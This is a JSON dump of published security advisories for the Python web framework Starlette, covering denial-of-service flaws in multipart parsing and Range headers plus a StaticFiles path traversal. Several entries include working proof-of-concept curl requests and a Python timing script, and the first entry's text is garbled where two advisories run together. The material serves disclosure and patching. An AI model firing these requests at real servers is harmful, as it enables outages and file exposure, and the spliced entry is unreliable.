{"ecosystem":"pypi","package":"starlette","version":null,"bugs":[{"id":455,"ecosystem":"pypi","package_name":"starlette","affected_version":null,"fixed_version":"0.40.0","bug_id":"osv:GHSA-f96h-pmfr-66vw","title":"Starlette Denial of service (DoS) via multipart/form-data","description":"### Summary\nStarlette treats `multipart/form-data` parts without a `filename` as text form fields and buffers those in byte strings with no size limit. This allows an attacker to upload arbitrary large form fields and cause Starlette to both slow down significantly due to excessive memory allocations and copy operations, and also consume more and more memory until the server starts swapping and grinds to a halt, or the OS terminates the server process with an OOM error. Uploading multiple such requests in parallel may be enough to render a service practically unusable, even if reasonable request size limits are enforced by a reverse proxy in front of Starlette.\n\n### PoC\n\n```python\nfrom starlette.applications import Starlette\nfrom starlette.routing import Route\n\nasync def poc(request):\n async with request.form():\n pass\n\napp = Starlette(routes=[\n Route('/', poc, methods=[\"POST\"]),\n])\n```\n\n```sh\ncurl http://localhost:8000 -F 'big= list[tuple[int, int]]:\n ranges: list[tuple[int, int]] = []\n try:\n units, range_ = http_range.split(\"=\", 1)\n except ValueError:\n raise MalformedRangeHeader()\n\n # [...]\n\n ranges = [\n (\n int(_[0]) if _[0] else file_size - int(_[1]),\n int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,\n )\n for _ in _RANGE_PATTERN.findall(range_) # vulnerable\n if _ != (\"\", \"\")\n ]\n\n```\n\nThe parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.\n\nThe merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.\n\n This affects any Starlette application that uses:\n\n - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) — `starlette/staticfiles.py:178`\n - Direct ``starlette.responses.FileResponse`` responses\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport sys\nimport time\n\ntry:\n import starlette\n from starlette.responses import FileResponse\nexcept Exception as e:\n print(f\"[ERROR] Failed to import starlette: {e}\")\n sys.exit(1)\n\n\ndef build_payload(length: int) -> str:\n \"\"\"Build the Range header value body: '0' * num_zeros + '0-'\"\"\"\n return (\"0\" * length) + \"a-\"\n\n\ndef test(header: str, file_size: int) -> float:\n start = time.perf_counter()\n try:\n FileResponse._parse_range_header(header, file_size)\n except Exception:\n pass\n end = time.perf_counter()\n elapsed = end - start\n return elapsed\n\n\ndef run_once(num_zeros: int) -> None:\n range_body = build_payload(num_zeros)\n header = \"bytes=\" + range_body\n # Use a sufficiently large file_size so upper bounds default to file size\n file_size = max(len(range_body) + 10, 1_000_000)\n \n print(f\"[DEBUG] range_body length: {len(range_body)} bytes\")\n elapsed_time = test(header, file_size)\n print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\")\n\n\nif __name__ == \"__main__\":\n print(f\"[INFO] Starlette Version: {starlette.__version__}\")\n for n in [5000, 10000, 20000, 40000]:\n run_once(n)\n\n\"\"\"\n$ python3 poc_dos_range.py\n[INFO] Starlette Version: 0.48.0\n[DEBUG] range_body length: 5002 bytes\n[DEBUG] elapsed time: 0.053932 seconds\n\n[DEBUG] range_body length: 10002 bytes\n[DEBUG] elapsed time: 0.209770 seconds\n\n[DEBUG] range_body length: 20002 bytes\n[DEBUG] elapsed time: 0.885296 seconds\n\n[DEBUG] range_body length: 40002 bytes\n[DEBUG] elapsed time: 3.238832 seconds\n\"\"\"\n```\n\n### Impact\nAny Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.","severity":"high","status":"fixed","source":"osv","source_url":"https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8","labels":["CVE-2025-62727"],"created_at":"2026-04-19T04:31:30.553107+00:00","updated_at":"2026-04-19T04:31:30.553107+00:00"},{"id":453,"ecosystem":"pypi","package_name":"starlette","affected_version":null,"fixed_version":"0.25.0","bug_id":"osv:GHSA-74m5-2c7w-9w3x","title":"MultipartParser denial of service with too many fields or files","description":"### Impact\n\nThe `MultipartParser` using the package `python-multipart` accepts an unlimited number of multipart parts (form fields or files).\n\nProcessing too many parts results in high CPU usage and high memory usage, eventually leading to an OOM process kill.\n\nThis can be triggered by sending too many small form fields with no content, or too many empty files.\n\nFor this to take effect application code has to:\n\n* Have `python-multipart` installed and\n* call `request.form()`\n * or via another framework like FastAPI, using form field parameters or `UploadFile` parameters, which in turn calls `request.form()`.\n\n### Patches\n\nThe vulnerability is solved in Starlette 0.25.0 by making the maximum fields and files customizable and with a sensible default (1000). \n\nApplications will be secure by just upgrading their Starlette version to 0.25.0 (or FastAPI to 0.92.0).\n\nIf application code needs to customize the new max field and file number, there are new `request.form()` parameters (with the default values):\n\n* `max_files=1000`\n* `max_fields=1000`\n\n### Workarounds\n\nApplications that don't install `python-multipart` or that don't use form fields are safe.\n\nIn older versions, it's also possible to instead of calling `request.form()` call `request.stream()` and parse the form data in internal code.\n\nIn most cases, the best solution is to upgrade the Starlette version.\n\n### References\n\nThis was reported in private by @das7pad via internal email. He also coordinated the fix across multiple frameworks and parsers.\n\nThe details about how `multipart/form-data` is structured and parsed are in the [RFC 7578](https://www.rfc-editor.org/rfc/rfc7578).\n","severity":"high","status":"fixed","source":"osv","source_url":"https://github.com/encode/starlette/security/advisories/GHSA-74m5-2c7w-9w3x","labels":["CVE-2023-30798","PYSEC-2023-48"],"created_at":"2026-04-19T04:31:30.550897+00:00","updated_at":"2026-04-19T04:31:30.550897+00:00"},{"id":458,"ecosystem":"pypi","package_name":"starlette","affected_version":"0.13.5","fixed_version":"0.27.0","bug_id":"osv:PYSEC-2023-83","title":"PYSEC-2023-83: advisory","description":"Directory traversal vulnerability in Starlette versions 0.13.5 and later and prior to 0.27.0 allows a remote unauthenticated attacker to view files in a web service which was built using Starlette.","severity":"medium","status":"fixed","source":"osv","source_url":"https://github.com/encode/starlette/releases/tag/0.27.0","labels":["CVE-2023-29159","GHSA-v5gw-mw7f-84px"],"created_at":"2026-04-19T04:31:30.558768+00:00","updated_at":"2026-04-19T04:31:30.558768+00:00"},{"id":457,"ecosystem":"pypi","package_name":"starlette","affected_version":null,"fixed_version":"8c74c2c8dba7030154f8af18e016136bea1938fa","bug_id":"osv:PYSEC-2023-48","title":"PYSEC-2023-48: advisory","description":"There MultipartParser usage in Encode's Starlette python framework before versions 0.25.0 allows an unauthenticated and remote attacker to specify any number of form fields or files which can cause excessive memory usage resulting in denial of service of the HTTP service.","severity":"medium","status":"fixed","source":"osv","source_url":"https://vulncheck.com/advisories/starlette-multipartparser-dos","labels":["CVE-2023-30798","GHSA-74m5-2c7w-9w3x"],"created_at":"2026-04-19T04:31:30.556745+00:00","updated_at":"2026-04-19T04:31:30.556745+00:00"},{"id":456,"ecosystem":"pypi","package_name":"starlette","affected_version":"0.13.5","fixed_version":"0.27.0","bug_id":"osv:GHSA-v5gw-mw7f-84px","title":"Starlette has Path Traversal vulnerability in StaticFiles","description":"### Summary\nWhen using `StaticFiles`, if there's a file or directory that starts with the same name as the `StaticFiles` directory, that file or directory is also exposed via `StaticFiles` which is a path traversal vulnerability.\n\n### Details\nThe root cause of this issue is the usage of `os.path.commonprefix()`:\nhttps://github.com/encode/starlette/blob/4bab981d9e870f6cee1bd4cd59b87ddaf355b2dc/starlette/staticfiles.py#L172-L174\n\nAs stated in the Python documentation (https://docs.python.org/3/library/os.path.html#os.path.commonprefix) this function returns the longest prefix common to paths.\n\nWhen passing a path like `/static/../static1.txt`, `os.path.commonprefix([full_path, directory])` returns `./static` which is the common part of `./static1.txt` and `./static`, It refers to `/static/../static1.txt` because it is considered in the staticfiles directory. As a result, it becomes possible to view files that should not be open to the public.\n\nThe solution is to use `os.path.commonpath` as the Python documentation explains that `os.path.commonprefix` works a character at a time, it does not treat the arguments as paths.\n\n### PoC\nIn order to reproduce the issue, you need to create the following structure:\n\n```\n├── static\n│ ├── index.html\n├── static_disallow\n│ ├── index.html\n└── static1.txt\n```\n\nAnd run the `Starlette` app with:\n\n```py\nimport uvicorn\nfrom starlette.applications import Starlette\nfrom starlette.routing import Mount\nfrom starlette.staticfiles import StaticFiles\n\n\nroutes = [\n Mount(\"/static\", app=StaticFiles(directory=\"static\", html=True), name=\"static\"),\n]\n\napp = Starlette(routes=routes)\n\n\nif __name__ == \"__main__\":\n uvicorn.run(app, host=\"0.0.0.0\", port=8000)\n```\n\nAnd running the commands:\n\n```shell\ncurl --path-as-is 'localhost:8000/static/../static_disallow/'\ncurl --path-as-is 'localhost:8000/static/../static1.txt'\n```\nThe `static1.txt` and the directory `static_disallow` are exposed.\n\n### Impact\nConfidentiality is breached: An attacker may obtain files that should not be open to the public.\n\n### Credits\nSecurity researcher **Masashi Yamane of LAC Co., Ltd** reported this vulnerability to **JPCERT/CC Vulnerability Coordination Group** and they contacted us to coordinate a patch for the security issue.\n","severity":"medium","status":"fixed","source":"osv","source_url":"https://github.com/encode/starlette/security/advisories/GHSA-v5gw-mw7f-84px","labels":["CVE-2023-29159","PYSEC-2023-83"],"created_at":"2026-04-19T04:31:30.555775+00:00","updated_at":"2026-04-19T04:31:30.555775+00:00"},{"id":452,"ecosystem":"pypi","package_name":"starlette","affected_version":null,"fixed_version":"0.47.2","bug_id":"osv:GHSA-2c2j-9gv5-cj73","title":"Starlette has possible denial-of-service vector when parsing large files in multipart forms","description":"### Summary\nWhen parsing a multi-part form with large files (greater than the [default max spool size](https://github.com/encode/starlette/blob/fa5355442753f794965ae1af0f87f9fec1b9a3de/starlette/formparsers.py#L126)) `starlette` will block the main thread to roll the file over to disk. This blocks the event thread which means we can't accept new connections.\n\n### Details\nPlease see this discussion for details: https://github.com/encode/starlette/discussions/2927#discussioncomment-13721403. In summary the following UploadFile code (copied from [here](https://github.com/encode/starlette/blob/fa5355442753f794965ae1af0f87f9fec1b9a3de/starlette/datastructures.py#L436C5-L447C14)) has a minor bug. Instead of just checking for `self._in_memory` we should also check if the additional bytes will cause a rollover.\n\n```python\n\n @property\n def _in_memory(self) -> bool:\n # check for SpooledTemporaryFile._rolled\n rolled_to_disk = getattr(self.file, \"_rolled\", True)\n return not rolled_to_disk\n\n async def write(self, data: bytes) -> None:\n if self.size is not None:\n self.size += len(data)\n\n if self._in_memory:\n self.file.write(data)\n else:\n await run_in_threadpool(self.file.write, data)\n```\n\nI have already created a PR which fixes the problem: https://github.com/encode/starlette/pull/2962\n\n\n### PoC\nSee the discussion [here](https://github.com/encode/starlette/discussions/2927#discussioncomment-13721403) for steps on how to reproduce.\n\n### Impact\nTo be honest, very low and not many users will be impacted. Parsing large forms is already CPU intensive so the additional IO block doesn't slow down `starlette` that much on systems with modern HDDs/SSDs. If someone is running on tape they might see a greater impact.","severity":"medium","status":"fixed","source":"osv","source_url":"https://github.com/encode/starlette/security/advisories/GHSA-2c2j-9gv5-cj73","labels":["CVE-2025-54121"],"created_at":"2026-04-19T04:31:30.549028+00:00","updated_at":"2026-04-19T04:31:30.549028+00:00"}],"total":7,"_cache":"miss"}